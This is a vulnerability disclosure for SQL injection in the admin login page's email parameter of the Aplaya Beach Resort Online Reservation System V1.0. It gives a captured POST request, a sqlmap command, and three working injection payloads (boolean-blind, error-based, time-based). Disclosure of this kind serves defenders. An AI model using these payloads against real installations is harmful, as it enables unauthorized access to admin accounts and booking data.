Aplaya-Beach-Resort-Online-Reservation-System-02

Vulnerability discovery author:Qianyongcun

Aplaya Beach Resort Online Reservation System - SQL Injection on (admin/login.php email parameter) 

Vendor Homepage:
https://www.sourcecodester.com/aplaya-beach-resort-online-reservation-system.html 

Version:V1.0
Tested on: PHP, Apache, MySQL

Affected Page:
admin/login.php 
On this page,email parameter is vulnerable to SQL Injection Attack 
Proof of vulnerability(Verify using the sqlmap tool after logining):

Requests:
POST /aplaya/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=g883r0l08f296hfd9582abk9v0
Origin: http://localhost
Referer: http://localhost/aplaya/admin/login.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

btnlogin=&email=1&pass=admin


-> sqlmap -r 1.txt(above request package) --batch
Output:

---
Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: btnlogin=&email=1' RLIKE (SELECT (CASE WHEN (4394=4394) THEN 1 ELSE 0x28 END))-- KYeV&pass=admin

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: btnlogin=&email=1' OR (SELECT 4775 FROM(SELECT COUNT(*),CONCAT(0x71627a6b71,(SELECT (ELT(4775=4775,1))),0x717a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- PlzR&pass=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: btnlogin=&email=1' AND (SELECT 6937 FROM (SELECT(SLEEP(5)))qCUd)-- AgCF&pass=admin
---